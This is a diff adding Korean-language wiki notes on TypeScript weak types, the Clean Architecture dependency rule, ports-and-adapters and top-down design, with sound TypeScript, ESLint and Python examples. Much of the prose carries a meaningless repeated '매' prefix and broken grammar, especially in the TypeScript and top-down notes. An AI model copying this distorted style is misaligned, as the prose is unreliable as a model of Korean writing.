||||
const opts = { timeout: 30 } as const;
|
||||
type T = typeof opts; // { readonly timeout: 30 }
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| 상황 | Approach |
|
||||
|---|---|
|
||||
| 매 config object | 매 weak-type 의 명시적 인지 |
|
||||
| 매 ID confusion | branded types |
|
||||
| 매 truly partial input | `Partial<T>` + explicit narrow |
|
||||
| 매 strict undefined handling | exactOptionalPropertyTypes |
|
||||
| 매 enum-like literal | `as const` |
|
||||
|
||||
**기본값**: 매 `strict: true` + `exactOptionalPropertyTypes: true`.
|
||||
|
||||
## 🔗 Graph
|
||||
- 부모: [[TypeScript]] · [[TypeScript 타입 시스템 (TypeScript Type System)|Type System]]
|
||||
- 변형: [[Excess Property Check]] · [[Structural Typing]]
|
||||
- 응용: [[Branded Types]]
|
||||
- Adjacent: [[선언 파일 dts]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: 매 type error 의 매 explanation / 매 branded type design.
|
||||
**언제 X**: 매 production code 의 매 mass refactor — 매 incremental.
|
||||
|
||||
## ❌ 안티패턴
|
||||
- **All-optional config**: 매 weak type 의 typo 위험.
|
||||
- **`any` escape**: 매 weak-type error 회피용 매 `any`.
|
||||
- **Spreading external object**: 매 weak-type check 우회.
|
||||
- **Disabling strict**: 매 entire codebase 의 매 type-safety 손실.
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified (TypeScript 2.4 release notes, TypeScript Handbook 2026, *Effective TypeScript 3e*).
|
||||
- 신뢰도 A.
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — weak-type / branded / exactOptional 패턴 추가 |
|
||||
+201
@@ -0,0 +1,201 @@
|
||||
---
|
||||
id: wiki-2026-0508-의존성-규칙-dependency-rule
|
||||
title: 의존성 규칙 (Dependency Rule)
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [Dependency Rule, Clean Architecture Dependency Rule]
|
||||
duplicate_of: none
|
||||
source_trust_level: A
|
||||
confidence_score: 0.9
|
||||
verification_status: applied
|
||||
tags: [architecture, clean-architecture, dependency-rule, layering]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: typescript
|
||||
framework: nestjs
|
||||
---
|
||||
|
||||
# 의존성 규칙 (Dependency Rule)
|
||||
|
||||
## 매 한 줄
|
||||
> **"매 source code dependency는 안쪽으로만 향한다"**. Robert C. Martin이 *Clean Architecture* (2017)에서 정식화한 핵심 규칙으로, 외곽 layer (frameworks, UI, DB)는 내부 layer (use cases, entities)를 알지만 그 반대는 금지된다 — 도메인의 framework-independence를 강제하는 architectural invariant.
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 4-layer 모델
|
||||
- **Entities** (innermost): enterprise-wide business rules. 가장 추상.
|
||||
- **Use Cases**: application-specific business rules. Entities 사용.
|
||||
- **Interface Adapters**: controllers, presenters, gateways. Use case에 맞춰 데이터 변환.
|
||||
- **Frameworks & Drivers** (outermost): Web, DB, external API, UI framework.
|
||||
|
||||
### 매 규칙의 정확한 statement
|
||||
- 안쪽 circle은 바깥쪽 circle의 **이름조차** 알아서는 안 됨 (class, function, variable, 어떤 software entity든).
|
||||
- 바깥쪽 circle의 데이터 형식이 안쪽으로 새어들어와도 안 됨 — 새는 순간 dependency arrow가 거꾸로 흐름.
|
||||
- 위반 발견 시 → DIP (Dependency Inversion Principle)로 풀기: interface를 안쪽에 정의, 구현을 바깥쪽에 둠.
|
||||
|
||||
### 매 응용
|
||||
1. **Domain layer에서 ORM annotation 금지** — `@Entity` (TypeORM)를 도메인 클래스에 붙이는 순간 도메인이 ORM을 알게 됨.
|
||||
2. **Use case는 HTTP request/response 모름** — controller가 DTO → command로 mapping.
|
||||
3. **Test 전략**: 안쪽 layer는 framework 없이 pure unit test 가능. 이게 안 되면 위반 의심.
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### Anti-pattern: 도메인이 ORM을 알고 있음
|
||||
```typescript
|
||||
// 안티: 도메인 entity가 TypeORM에 의존
|
||||
import { Entity, Column } from 'typeorm';
|
||||
|
||||
@Entity()
|
||||
export class Order {
|
||||
@Column() id: string;
|
||||
@Column() total: number;
|
||||
// 도메인이 typeorm 패키지에 source-level dependency를 가짐 → 위반
|
||||
}
|
||||
```
|
||||
|
||||
### Fix: Pure 도메인 + 별도 persistence model
|
||||
```typescript
|
||||
// domain/order.ts — framework 모름
|
||||
export class Order {
|
||||
constructor(
|
||||
public readonly id: string,
|
||||
public readonly total: number,
|
||||
) {}
|
||||
|
||||
static place(items: ReadonlyArray<{ price: number }>): Order {
|
||||
const total = items.reduce((s, i) => s + i.price, 0);
|
||||
if (total <= 0) throw new Error('empty order');
|
||||
return new Order(crypto.randomUUID(), total);
|
||||
}
|
||||
}
|
||||
|
||||
// infra/persistence/order.entity.ts — ORM 전용
|
||||
@Entity('orders')
|
||||
export class OrderRow {
|
||||
@PrimaryColumn() id!: string;
|
||||
@Column('numeric') total!: number;
|
||||
}
|
||||
|
||||
// infra/persistence/order.mapper.ts
|
||||
export const toDomain = (r: OrderRow) => new Order(r.id, Number(r.total));
|
||||
export const toRow = (o: Order): OrderRow =>
|
||||
Object.assign(new OrderRow(), { id: o.id, total: o.total });
|
||||
```
|
||||
|
||||
### DIP로 use case → infra 의존 뒤집기
|
||||
```typescript
|
||||
// domain/ports/order-repository.ts (안쪽 layer가 interface 정의)
|
||||
export interface OrderRepository {
|
||||
save(order: Order): Promise<void>;
|
||||
findById(id: string): Promise<Order | null>;
|
||||
}
|
||||
|
||||
// application/place-order.usecase.ts (안쪽 layer)
|
||||
export class PlaceOrderUseCase {
|
||||
constructor(private readonly repo: OrderRepository) {}
|
||||
async execute(items: { price: number }[]): Promise<string> {
|
||||
const order = Order.place(items);
|
||||
await this.repo.save(order);
|
||||
return order.id;
|
||||
}
|
||||
}
|
||||
|
||||
// infra/typeorm-order-repository.ts (바깥쪽 layer가 구현)
|
||||
export class TypeOrmOrderRepository implements OrderRepository {
|
||||
constructor(private readonly ds: DataSource) {}
|
||||
async save(o: Order) { await this.ds.getRepository(OrderRow).save(toRow(o)); }
|
||||
async findById(id: string) {
|
||||
const row = await this.ds.getRepository(OrderRow).findOneBy({ id });
|
||||
return row ? toDomain(row) : null;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### Controller → use case (변환만, 비즈니스 로직 X)
|
||||
```typescript
|
||||
@Controller('orders')
|
||||
export class OrderController {
|
||||
constructor(private readonly placeOrder: PlaceOrderUseCase) {}
|
||||
|
||||
@Post()
|
||||
async create(@Body() dto: PlaceOrderDto): Promise<{ id: string }> {
|
||||
const id = await this.placeOrder.execute(dto.items);
|
||||
return { id };
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### ESLint로 dependency direction 강제
|
||||
```js
|
||||
// .eslintrc.cjs — eslint-plugin-boundaries
|
||||
module.exports = {
|
||||
settings: {
|
||||
'boundaries/elements': [
|
||||
{ type: 'domain', pattern: 'src/domain/*' },
|
||||
{ type: 'application', pattern: 'src/application/*' },
|
||||
{ type: 'infra', pattern: 'src/infra/*' },
|
||||
{ type: 'web', pattern: 'src/web/*' },
|
||||
],
|
||||
},
|
||||
rules: {
|
||||
'boundaries/element-types': ['error', {
|
||||
default: 'disallow',
|
||||
rules: [
|
||||
{ from: 'application', allow: ['domain'] },
|
||||
{ from: 'infra', allow: ['domain', 'application'] },
|
||||
{ from: 'web', allow: ['application', 'domain'] },
|
||||
],
|
||||
}],
|
||||
},
|
||||
};
|
||||
```
|
||||
|
||||
### Test가 위반을 잡아냄
|
||||
```typescript
|
||||
// domain은 framework import 없이 build 되어야 함
|
||||
import { Order } from './order';
|
||||
test('place creates order with summed total', () => {
|
||||
const o = Order.place([{ price: 10 }, { price: 5 }]);
|
||||
expect(o.total).toBe(15);
|
||||
});
|
||||
// jest 단독, DB·HTTP·DI container 없이 통과 → 규칙 준수 신호
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| 상황 | Approach |
|
||||
|---|---|
|
||||
| 작은 CRUD app, 팀 1-2명 | 규칙 약화 (도메인=ORM entity 허용) |
|
||||
| 비즈니스 로직 복잡, 장수명 | 매 strict 적용 |
|
||||
| Framework 교체 가능성 (DB, web) | 매 strict |
|
||||
| Prototype·spike | 무시 가능 |
|
||||
|
||||
**기본값**: 도메인 layer는 framework import 0개로 시작 — 필요할 때 위반 허용.
|
||||
|
||||
## 🔗 Graph
|
||||
- 부모: [[Clean Architecture]]
|
||||
- 변형: [[Hexagonal Architecture Ports and Adapters]] · [[Onion Architecture]]
|
||||
- 응용: [[Domain-Driven Design]]
|
||||
- Adjacent: [[Dependency Inversion Principle]] · [[SOLID Principles]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: 코드 리뷰에서 "이 import가 layer 규칙을 깨는가?" 판단, refactor 계획 수립.
|
||||
**언제 X**: 작은 script·prototype에서 규칙 강제 — 과잉.
|
||||
|
||||
## ❌ 안티패턴
|
||||
- **도메인에 `@Entity` 부착**: ORM 의존이 안쪽으로 leak.
|
||||
- **Use case에서 `req.body` 직접 참조**: HTTP 형식이 안쪽으로 leak.
|
||||
- **Entity가 Repository import**: 안쪽 → 바깥 dependency.
|
||||
- **DTO를 도메인 모델로 재사용**: layer 경계 소실.
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified (Robert C. Martin, *Clean Architecture*, 2017; Uncle Bob blog "The Clean Architecture", 2012).
|
||||
- 신뢰도 A.
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — Dependency Rule 정의·layer model·DIP 적용 패턴 정리 |
|
||||
+34
@@ -0,0 +1,34 @@
|
||||
---
|
||||
id: wiki-2026-0508-인터페이스와-포트-어댑터-interfaces-and-por
|
||||
title: 인터페이스와 포트-어댑터 (Interfaces and Ports-Adapters)
|
||||
category: 10_Wiki/Topics
|
||||
status: duplicate
|
||||
canonical_id: wiki-2026-0508-hexagonal-architecture-ports-and-adapters
|
||||
duplicate_of: "[[Hexagonal Architecture Ports and Adapters]]"
|
||||
aliases: []
|
||||
source_trust_level: A
|
||||
confidence_score: 0.9
|
||||
verification_status: redirected
|
||||
tags: [duplicate, architecture, hexagonal, ports-adapters]
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
---
|
||||
|
||||
# 인터페이스와 포트-어댑터 (Interfaces and Ports-Adapters)
|
||||
|
||||
> **이 문서는 [[Hexagonal Architecture Ports and Adapters]] 의 중복본입니다.** Canonical 문서로 redirect.
|
||||
|
||||
## 핵심 요약
|
||||
- Port = 도메인이 외부와 대화하는 추상 interface.
|
||||
- Adapter = port의 구체 구현 (REST controller, DB repository, message consumer 등).
|
||||
- 도메인은 port에만 의존, adapter에 의존하지 않음 (Dependency Inversion).
|
||||
|
||||
## 🔗 Graph
|
||||
- 부모: [[Hexagonal Architecture Ports and Adapters]] (canonical)
|
||||
- 인접: [[Dependency Inversion Principle]] · [[Clean Architecture]]
|
||||
|
||||
## 🕓 변경 이력
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | 중복 처리 — canonical 문서로 redirect |
|
||||
+153
@@ -0,0 +1,153 @@
|
||||
---
|
||||
id: wiki-2026-0508-하향식-탐색-top-down-approach
|
||||
title: 하향식 탐색 Top-Down Approach
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [Top-Down Design, Stepwise Refinement, 하향식 설계]
|
||||
duplicate_of: none
|
||||
source_trust_level: A
|
||||
confidence_score: 0.9
|
||||
verification_status: applied
|
||||
tags: [architecture, design-method, decomposition]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: language-agnostic
|
||||
framework: design-method
|
||||
---
|
||||
|
||||
# 하향식 탐색 (Top-Down Approach)
|
||||
|
||||
## 매 한 줄
|
||||
> **"매 큰 그림 → 매 세부"**. 매 system 의 high-level abstraction 부터 시작 → 매 단계마다 decomposition. 매 1970s Niklaus Wirth 의 stepwise refinement 가 origin — 매 modern 2026 microservice / DDD 의 strategic design 까지 매 살아있는 design heuristic.
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 핵심 idea
|
||||
- **매 추상 → 매 구체**: System 전체 → subsystems → modules → functions → lines.
|
||||
- **매 deferred decision**: Lower-level detail 의 결정 의 미루기 — 매 abstraction barrier.
|
||||
- **매 wishful thinking**: 매 "이 helper 가 있다 가정" → 매 나중에 implement.
|
||||
|
||||
### 매 vs Bottom-Up
|
||||
- Top-Down: 매 unknown / new system 의 design 적합. 매 risk: leaf-level 에서 매 mismatch 발견.
|
||||
- Bottom-Up: 매 reusable primitive 부터. 매 known domain (e.g. data pipeline) 적합.
|
||||
- 매 실전: 매 hybrid (meet-in-middle) 의 default.
|
||||
|
||||
### 매 응용
|
||||
1. DDD strategic design — bounded context → context map → aggregate.
|
||||
2. Microservice decomposition — capability mapping → service boundary.
|
||||
3. Functional decomposition — main() → step functions → primitives.
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### Stepwise refinement (pseudocode → real)
|
||||
```python
|
||||
# Level 0: intent
|
||||
def process_orders():
|
||||
"""Process today's orders end-to-end."""
|
||||
|
||||
# Level 1: high-level steps
|
||||
def process_orders():
|
||||
orders = fetch_pending_orders()
|
||||
validated = [o for o in orders if validate(o)]
|
||||
results = [charge_and_ship(o) for o in validated]
|
||||
notify_customers(results)
|
||||
|
||||
# Level 2: implement leaves (deferred until now)
|
||||
def fetch_pending_orders() -> list[Order]:
|
||||
return db.query(Order).filter(Order.status == "pending").all()
|
||||
```
|
||||
|
||||
### Wishful thinking — assume helpers exist
|
||||
```python
|
||||
def render_dashboard(user_id: str) -> HTML:
|
||||
user = fetch_user(user_id) # assume
|
||||
metrics = compute_metrics(user) # assume
|
||||
chart = build_chart(metrics) # assume
|
||||
return layout(header(user), chart) # assume
|
||||
# 매 implement leaves 의 last.
|
||||
```
|
||||
|
||||
### DDD top-down decomposition
|
||||
```
|
||||
Bounded Context: Order Management
|
||||
├─ Aggregate: Order
|
||||
│ ├─ Entity: OrderLine
|
||||
│ └─ Value Object: Money, Address
|
||||
├─ Aggregate: Cart
|
||||
└─ Domain Service: Pricing
|
||||
```
|
||||
|
||||
### Microservice capability decomposition
|
||||
```yaml
|
||||
# top-down: business capability → service
|
||||
Capability: Checkout
|
||||
Sub-capability: Cart Management → cart-service
|
||||
Sub-capability: Payment → payment-service
|
||||
Sub-capability: Order Persistence → order-service
|
||||
Sub-capability: Notification → notification-service
|
||||
```
|
||||
|
||||
### Test-first top-down (London-school TDD)
|
||||
```python
|
||||
def test_charge_order_calls_gateway(mocker):
|
||||
gateway = mocker.Mock()
|
||||
repo = mocker.Mock()
|
||||
svc = OrderService(gateway, repo) # 매 collaborator 추측
|
||||
svc.charge(Order(id=1, total=100))
|
||||
gateway.charge.assert_called_once_with(100)
|
||||
# 매 mock 의 design 의 driver — 매 collaborator interface 의 top-down emerge.
|
||||
```
|
||||
|
||||
### Recursive descent parser (top-down classic)
|
||||
```python
|
||||
def parse_expr(tokens):
|
||||
left = parse_term(tokens)
|
||||
while tokens.peek() in ("+", "-"):
|
||||
op = tokens.next()
|
||||
right = parse_term(tokens)
|
||||
left = BinOp(op, left, right)
|
||||
return left
|
||||
|
||||
def parse_term(tokens):
|
||||
left = parse_factor(tokens)
|
||||
# ...
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| 상황 | Approach |
|
||||
|---|---|
|
||||
| Greenfield, unknown domain | **Top-Down** (explore via decomposition) |
|
||||
| Known primitives, integration heavy | Bottom-Up |
|
||||
| Library 의 design | Bottom-Up (primitive first) |
|
||||
| Application / product 의 design | Top-Down → Hybrid |
|
||||
| Refactor existing code | Inside-Out (seam first) |
|
||||
|
||||
**기본값**: Top-Down 으로 strategy → bottom-up primitive 의 meet-in-middle.
|
||||
|
||||
## 🔗 Graph
|
||||
- 부모: [[아키텍처 패턴 지식]] · [[객체 지향 소프트웨어 아키텍처 설계]]
|
||||
- 변형: [[Bottom-Up Approach]]
|
||||
- 응용: [[DDD]] · [[Hexagonal_Architecture]] · [[Refactoring Techniques (리팩토링 기법)]]
|
||||
- Adjacent: [[추상화(Abstraction)]] · [[High-Cohesion-Low-Coupling]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: 매 새로운 system 의 design 의 시작, 매 unknown domain 의 explore, 매 architectural conversation 의 frame.
|
||||
**언제 X**: 매 well-known primitive 의 mechanical assembly, 매 retrofit / legacy refactor (seam-first 가 더 안전).
|
||||
|
||||
## ❌ 안티패턴
|
||||
- **Pseudocode 가 implementation 화**: 매 leaf 의 implement 안 함. 매 wishful 의 영원히 wish.
|
||||
- **Premature decomposition**: 매 너무 일찍 fix layer boundary → 매 나중에 leaky.
|
||||
- **No bottom check**: 매 leaf primitive 가 매 expressible 인지 verify 안 함 → 매 mismatch.
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified (Wirth 1971 "Program Development by Stepwise Refinement"; Evans DDD 2003).
|
||||
- 신뢰도 A.
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — top-down 의 stepwise refinement / wishful thinking / DDD-microservice 의 application |
|
||||
Reference in New Issue
Block a user